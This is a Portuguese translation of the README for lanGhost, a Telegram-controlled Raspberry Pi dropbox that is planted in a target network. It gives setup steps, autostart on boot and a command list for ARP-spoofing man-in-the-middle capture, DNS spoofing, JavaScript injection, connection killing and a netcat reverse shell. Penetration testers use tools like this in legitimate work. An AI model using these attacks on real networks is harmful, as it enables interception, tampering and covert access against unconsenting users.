
👻 Um chatbot de dropbox em LAN controlável via Telegram
lanGhost foi projetado para Raspberry Pis (Raspbian/Kali para RPi). Executá-lo em outras distribuições de desktop pode causar problemas e pode não funcionar como esperado.
Você precisará de um Raspberry Pi com Raspbian/Kali atualizado no cartão SD, porque você não quer nada mais rodando em segundo plano.
Inicie o Pi, obtenha um shell SSH ou conecte um monitor e um teclado e digite estes comandos:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
Por favor leia as perguntas/mensagens enquanto executa o script de configuração!
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
Usar lanGhost em redes maiores que /24 não é recomendado porque as varreduras levarão muito tempo.
lanGhost não é silencioso. Qualquer pessoa monitorando o tráfego pode ver os pacotes ARP!
Se você selecionou sim no passo 4/4 (início automático), o Pi está totalmente configurado para ser inserido. lanGhost deve iniciar na inicialização e enviar uma mensagem para você no Telegram com o texto: lanGhost started! 👻.
Certifique-se de testá-lo primeiro em seu laboratório e verificar se o lanGhost está respondendo às suas mensagens!
Se estiver tudo pronto, basta conectá-lo à rede alvo plugando o cabo Ethernet no Pi e conectando a energia via micro USB, e você estará pronto!
(lanGhost também pode funcionar via WiFi, mas você precisará configurar o wpa_supplicant para conectar-se automaticamente à rede primeiro)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
Você pode iniciar um ataque usando um destes comandos: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
Depois de ter um ou mais ataques em execução, você pode usar o comando /attack para obter uma lista deles contendo os ATTACK-ID.
Para parar um ataque, digite /stop [ATTACK-ID].
/reversesh faz apenas uma conexão TCP netcat que não é criptografada e todo o tráfego pode ser monitorado! Use apenas para correções de emergência ou para configurar uma conexão reversa criptografada, se necessário.
O comando /reversesh serve para obter um shell reverso no Pi quando ele não está acessível externamente.
Para usar o comando /reversesh você precisará ter um servidor ouvindo o shell.
Comando Netcat para iniciar o ouvinte em seu servidor:
$ nc -l 0.0.0.0 [PORT]
Comando Telegram:
/reversesh [IP-of-your-listening-server] [PORT]
/kill - Interrompe a conectividade com a internet para o alvo./mitm - Captura o tráfego HTTP e DNS do alvo e o envia em mensagens de texto./replaceimg - Substitui as imagens HTTP do alvo pela imagem que você enviar para o bot./injectjs - Injeta JavaScript em toda resposta HTML HTTP para o alvo. Você precisa hospedar o arquivo JS em seu servidor e fornecer a URL como parâmetro./spoofdns - Falsifica respostas DNS para o alvo.Todos os ataques usam ARP Spoofing!
/scan - Varre a rede local e retorna os hosts online. Usa varredura nmap -sn para descobrir hosts./scanip - Varre um endereço IP em busca de portas abertas e outras informações. Usa varredura nmap -sS.Você receberá uma mensagem sempre que um novo dispositivo conectar/sair da rede.
Copyright (c) 2018 por David Schütz. Alguns direitos reservados.
lanGhost está sob os termos da Licença MIT, seguindo todos os esclarecimentos declarados no arquivo de licença. Você também pode me enviar um e-mail para xdavid{at}protonmail{dot}com.